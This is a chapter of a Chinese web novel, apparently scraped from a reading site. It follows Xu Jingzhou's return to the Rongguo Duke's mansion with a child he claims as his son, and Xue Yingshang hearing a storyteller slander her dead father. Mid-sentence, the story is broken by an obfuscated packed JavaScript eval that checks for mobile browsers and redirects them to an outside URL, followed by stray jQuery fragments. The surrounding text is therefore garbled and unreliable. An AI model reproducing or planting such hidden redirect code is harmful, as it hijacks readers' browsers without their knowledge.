默认冷灰
24号文字
方正启体

6. 徐家七郎

作者:执荧本书字数:K更新时间:
    第一缕晨曦划破暗夜,黎明将至,位于御街东的荣国公府早早打开了大门,丫鬟小厮来回穿梭,洒扫庭院。


    荣国公夫人柴氏克制着脸上的喜意,捏着帕子指挥侍女摆放花盆,“一会儿七郎到家,你们都热络点儿,他喜欢热闹。”


    服侍她的张婆子看着她苍白病态的脸上浮出一抹红,转头掩饰性地擦了擦眼角的湿润。


    七郎离家五年,夫人盼星星盼月亮,总算给盼回来了。


    辰时中,徐静舟带着青追以及抹成泥蛋子的薛临施施然进了城。


    青追搂着怎么也甩不掉的小娃娃,耳听六路,眼观八方,他师父说,大胤最危险的地方就是玉京城,这里住着能吸人阳气的红粉骷髅,还有吃人不吐骨头的无尽深渊。


    他怀疑他师父诓他,但他没证据。


    “玉京是发生了什么事吗?怎么巡逻的官兵那么多?”青追问,就算他一个外行也看出了不对劲。


    徐静舟浑不在意一笑,“咱们只是穷得叮当响的小老百姓,关我们什么事呢?”


    青追颇以为然地点点头,街边霸道的肉包子味儿蹿入鼻腔,他直勾勾地盯了过去,和他同样动作的还有怀中的薛临。


    小家伙浑身上下不是泥就是灰,衬得那双澄澈的眼越发明亮,仿佛能映穿人心。


    青追低头看了他一眼,嘴角一扯,“不会说话,倒是会吃。”


    他摸了把空空如也的钱袋,“但很遗憾,咱们吃不起。”


    徐静舟见两人哈喇子都快流出来的模样,无声一叹,放下书箱翻翻找找,最重扯出一块刻着梅花花押的牌子,走到包子铺,“来四个,不,六个大肉包,一会儿你拿着这块牌子去荣国公府取钱。”


    店主一看花押后的落款,忙不迭地应声,只是目光朝薛临身上多看了两眼。


    青追瞧着还冒着热气的包子,一脸呆滞,“你,你竟然行骗?万一他去荣国公府取不到钱怎么办?”


    那玩意儿,他见徐静舟亲手刻过,有时候不是嫌刻得不好看,就是嫌木头太差,基本都是刻一块毁一块。


    他现在才知道,这东西应该是那什么荣国公府的标志,但能靠这玩意儿领到钱,打死他都不信。


    他早就见识过徐静舟坑蒙拐骗的德行。


    青追满脸灰败,师父说得没错,玉京城太危险了,危险不是来自于别人,而是来源于他这个东主。


    他已经能预料到未来东躲西蹿的日子了。


    徐静舟笑得意味深长,“那我们就先上门赔个礼,道个歉,荣国公府家大业大,总不至于缺几个包子钱吧?”


    青追撇嘴,话是这么说,但人家凭什么当冤大头?


    但他阻止不了徐静舟作死,一会儿真要被人扫地出门,他绝不会管姓徐的死活。


    抱着看好戏的心态,青追跟着他走到了荣国公府大门口。


    然后,他看到了从门口到院子里分列两旁、昂首挺胸,脸上的笑跟画上去似的侍女小厮,顿时一个激灵。


    “恭迎七郎归家。”站着前方的老管家率先出声,紧接着,一阵震天响的“恭迎七郎归家”响彻在荣国公府上空。


    青追:“!!!”


    这狗东西是徐家七郎,那个才满天下的徐静舟?!


    他一直以为他的名字是瞎编的,就是为了蹭徐世子的名儿,结果竟然是真的?但那坑蒙拐骗、一副话痨的样子,哪点像萧萧肃肃、林下风致徐静舟?


    莫不是被鬼附身了吧。


    徐静舟任由小厮接走他的书箱,展开双臂,已有温婉貌美的侍女捧着锦袍侯在一旁。


    仅仅只是换了身衣服,青追就觉得自己的狗眼瞎了,脸还是那张脸,但那通身气度陡然一变,竟真有点行止如松、青矜蕴玉的味儿。


    衣冠禽兽。


    青追心里送了他四个字。


    “七郎,这两位是?”崔管家疑惑问,七郎的信里并没有说要带人回来啊。


    没等徐静舟开口介绍,青追将小东西往崔管家怀里一杵,朝徐静舟扬了扬下巴,“他儿子。”


    所有人虎躯一震,崔管家更是瞪大了眼,围绕薛临转了两圈,哎呀一声,感慨道,“瞧瞧这眼睛,这眉眼,这鼻梁,和七郎多像啊。”


    青追:“……”


    这管家莫不是眼瞎吧?


    徐静舟扫了青追一眼,似笑非笑,回道,“对,是我儿子。”


    然后,不过短短片刻,整个荣国公府都知道七郎携子而归。


    一个时辰后,济安堂。


    薛盈商听了曲红绫的转述,豁然起身,“你可看清楚了?那孩子脖子上确有一枚铃铛?”


    曲红绫点头,“半年前,我替包子铺的王叔看过病,当时他家困难,我没收他的诊金,我一打听他就告诉我了。”


    她看了眼薛盈商,继续道,“有人看见那孩子被抱进了荣国公府,刚回府的徐七郎亲口承认,那孩子是他的儿子。”


    薛盈商垂眼,呢喃道,“怎么会是他……”


    她刚出生时,她外祖父做主,给她定了一门亲,正是荣国公府的徐七郎,也是荣国公府下一任当家人。


    现任荣国公是徐七郎的父亲,但这位是个不甘寂寞的主,风流韵事一大堆,府中小妾抬了十几个,嫡子没出生前,庶子先生了一大堆。


    但好在老荣国公比较拎得清,只认嫡孙,其余孙子只当多了张吃饭的口。


    所以徐七郎一出生就请封了世子位,地位稳如泰山,府中虽然兄弟姐妹众多,但都被老国公压得死死的,不敢与其争锋。


    后来徐七郎长大了点,才名显露,自己就把那群兄弟姐妹收拾得服服帖帖。


    她外祖父当初就是看中了徐七郎的潜力,加上徐家虽富贵,却不涉权争,一辈子光靠朝廷俸禄,也能逍遥快活,何况徐家还是樊楼背后的东主,最不缺的就是钱。


    她知道外祖父是好意,但她对那种一眼望到头的日子并不感兴趣,从小只要荣国公府的宴会,她都借故不去。


    也因此十八年来,一次也没见过她这个名义上的未婚夫,五年前,他外出游历后,她连他的名字都很少听到了。


    只不过……


    薛盈商想起徐静舟离家前曾托他母亲问她要过一件信物,她不耐烦应付,就扯了随身的铃铛给他,和她弟弟那枚几乎一模一样。


    那是有一年元宵,她父亲专门去大相国寺替他们姐弟二人求的,据说世间只此两枚。


    徐静舟看到她弟弟脖子上铜铃,不会猜不到和她那一枚有渊源,可即便这样,他还是堂而皇之地把薛临带回了家。


    薛盈商拧眉,想不通徐静舟这么做的理由,难道仅仅因一个口头婚约?


    但


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17010939|194124||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    徐家向来懂趋利避害,两家也没有真正结亲,犯不着冒这个险。


    “红绫,替我留意荣国公府的动静。”薛盈商没有轻举妄动,她得先看看,徐静舟有什么打算。


    既然他知晓薛临的身份还带回家,就必定有所图,临儿暂时还是安全的。


    曲红绫点点头,欲言又止,“那什么……你,你也别太累了。”


    她见她没日没夜地泡在书堆里,自己买不到的,还让皇城司那位给她找,一天到晚恨不得钻进书里。


    薛盈商思索片刻,“给我化个妆吧,我们出趟门。”


    半个时辰后,面貌大改的两人坐到了一家茶楼里,说书先生的惊堂木正拍下,“列位听我慢慢道,说一说那东华大街第一家,府中恶仆如虎狼,万亩良田一夜占,门下走狗结成党,金殿狂吠谤新政,更有老宅藏刀枪,地窖甲胄映寒光,北戎王印怀中揣,分明是……”


    他声音一顿,环视了一眼四周,见看客提着一口气,才义愤填膺往下说,“分明是外披忠义皮,内里豺狼腔,这是要断我龙脉,献江山与豺狼啊!”


    堂下,有学子拍案而起,“到底是谁,竟然干出此种蠹国殃民之事?”


    说书人笑眯眯问,“东华门大街第一家,你道是哪家?”


    来茶楼听书的大多是书院学子和百姓,对玉京城的宅邸如数家珍,听他这么一讲,立马明白了说的是谁。


    学子们不可置信,有人一副失神的模样,“不可能,薛相爱民如子,两袖清风,更是我等文人楷模,怎么做出如此,如此……”


    他甚至都说不出后面几个字。


    而曲红绫也反应过来,气得差点捏碎茶杯,她咬牙,“我去撕了这老小子的嘴!”


    薛盈商一把抓住她,眸中冷光弥漫,“没用的,他敢这么说,背后定有人授意。”


    否则一个茶馆,哪怕背后有人支撑,也没胆量敢议论当朝首相。


    朝廷把她父亲的死瞒得很紧,这么多天了坊间百姓都还不知道她父亲已身亡,今日大抵是个开端,接下来,她父亲身上的污名会越来越重,直到再也洗不掉。


    有人想用这种方式,昭告世人,她父亲死得罪有应得。


    说书人见有人怀疑,又抛出一个惊雷,“司天监蒋监正曾为大胤算国运,得到一卦,诸位可知是什么?”


    有人不信,但也有人好奇,顺他的话问,“是什么?”


    说书人摇了摇扇子,一咏三叹道,“鼎玉倾,狐踞庭,亢龙喑,紫垣腥。”


    薛盈商手一紧,稍微懂点解卦术的人都知道,这是青蝇集鼎、首相窃权之兆,就差没指着她父亲的鼻子说,他狼子野心了。


    曲红绫一脸懵,“啥,啥意思?”


    薛盈商抓着她的手,“红绫,我们走。”


    她今日来,就是料想朝廷也该为她父亲的死给个理由了,不管是为了堵悠悠众口也好,还是震慑敬重她父亲的学子也罢。


    她父亲都不能拥有一个好名声,否则朝廷就会背上逼死良臣的罪名。


    而茶楼酒馆就是最好的宣扬地。


    曲红绫一握上她的手,才发现她浑身都在发抖,她不知道薛相究竟是个怎样的人,但她知道薛盈商是好人。


    能被她如此维护,薛相也该是个好人吧?毕竟没有今天这些罪名前,薛相也曾受人称赞。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)